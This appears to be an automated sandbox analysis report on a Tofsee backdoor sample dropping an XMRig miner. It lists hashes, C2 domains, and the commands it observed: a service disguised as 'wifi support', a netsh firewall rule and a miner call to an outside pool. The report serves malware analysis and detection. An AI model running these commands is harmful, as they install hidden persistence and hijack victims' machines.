Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 21:19

General

  • Target

    7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe

  • Size

    192KB

  • MD5

    911647ce6826d410a80da55024518d9f

  • SHA1

    a49ce6f4e31271bbe9a143fbb9070e1762af26dd

  • SHA256

    7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888

  • SHA512

    60aa1d051c3b09c57bf925566f78b848be8ec2d5aa18d2f251ed0a53a929d33af26a384021c8b5251c21a645a1c2b9f3cd44facfa45062d7975a7729ef40eef3

  • SSDEEP

    3072:4NbwXahIq1sQXuGIJ5b+vOWU/zRpoPY6oGd7CDwpjRs9E3AZxpR/rNY:4/1sQXuGODWyRpoPYoeDpvpZN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe
    "C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ifgfmql\
      2⤵
        PID:3324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe" C:\Windows\SysWOW64\ifgfmql\
        2⤵
          PID:1416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ifgfmql binPath= "C:\Windows\SysWOW64\ifgfmql\smowsmsl.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ifgfmql "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ifgfmql
          2⤵
          • Launches sc.exe
          PID:3480
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 1224
          2⤵
          • Program crash
          PID:3856
      • C:\Windows\SysWOW64\ifgfmql\smowsmsl.exe
        C:\Windows\SysWOW64\ifgfmql\smowsmsl.exe /d"C:\Users\Admin\AppData\Local\Temp\7a5d072a81edb0fa296dd1e1329915d00b1fd891ccbacac75f382b753951e888.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 528
          2⤵
          • Program crash
          PID:1488
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5000 -ip 5000
        1⤵
          PID:3304
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 2180 -ip 2180
          1⤵
            PID:2140

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\smowsmsl.exe
            Filesize

            13.8MB

            MD5

            8eea4616dd1e4b4b631d903dcc3aa0be

            SHA1

            50f271451ea5284f7186beaa647b46a4b01115b1

            SHA256

            fb33832b9ee9522219c15480e1cdb070f1453e323f3ea114e32073a5ac0f4641

            SHA512

            7f6f8cfe51881de15797c8efae9d529babcee4653e1a29cc15d9c91578b5c4e8456d54b33328be3c9d8b006d18480f7aff6ed80350bcd980cc269608a3c6f689

          • C:\Windows\SysWOW64\ifgfmql\smowsmsl.exe
            Filesize

            13.8MB

            MD5

            8eea4616dd1e4b4b631d903dcc3aa0be

            SHA1

            50f271451ea5284f7186beaa647b46a4b01115b1

            SHA256

            fb33832b9ee9522219c15480e1cdb070f1453e323f3ea114e32073a5ac0f4641

            SHA512

            7f6f8cfe51881de15797c8efae9d529babcee4653e1a29cc15d9c91578b5c4e8456d54b33328be3c9d8b006d18480f7aff6ed80350bcd980cc269608a3c6f689

          • memory/1416-136-0x0000000000000000-mapping.dmp
          • memory/1424-142-0x0000000000000000-mapping.dmp
          • memory/2180-149-0x0000000000663000-0x0000000000674000-memory.dmp
            Filesize

            68KB

          • memory/2180-150-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/2208-159-0x00000000017F0000-0x0000000001800000-memory.dmp
            Filesize

            64KB

          • memory/2208-162-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/2208-168-0x00000000023E0000-0x00000000023E7000-memory.dmp
            Filesize

            28KB

          • memory/2208-165-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/2208-156-0x00000000017E0000-0x00000000017E6000-memory.dmp
            Filesize

            24KB

          • memory/2208-153-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/2208-152-0x0000000000160000-0x0000000000175000-memory.dmp
            Filesize

            84KB

          • memory/2208-145-0x0000000000000000-mapping.dmp
          • memory/2208-146-0x0000000000160000-0x0000000000175000-memory.dmp
            Filesize

            84KB

          • memory/2208-151-0x0000000000160000-0x0000000000175000-memory.dmp
            Filesize

            84KB

          • memory/3324-135-0x0000000000000000-mapping.dmp
          • memory/3480-140-0x0000000000000000-mapping.dmp
          • memory/3896-139-0x0000000000000000-mapping.dmp
          • memory/3920-138-0x0000000000000000-mapping.dmp
          • memory/4672-171-0x0000000000000000-mapping.dmp
          • memory/4672-172-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/4672-177-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/5000-133-0x00000000005B0000-0x00000000005C3000-memory.dmp
            Filesize

            76KB

          • memory/5000-134-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/5000-144-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/5000-143-0x0000000000808000-0x0000000000819000-memory.dmp
            Filesize

            68KB

          • memory/5000-132-0x0000000000808000-0x0000000000819000-memory.dmp
            Filesize

            68KB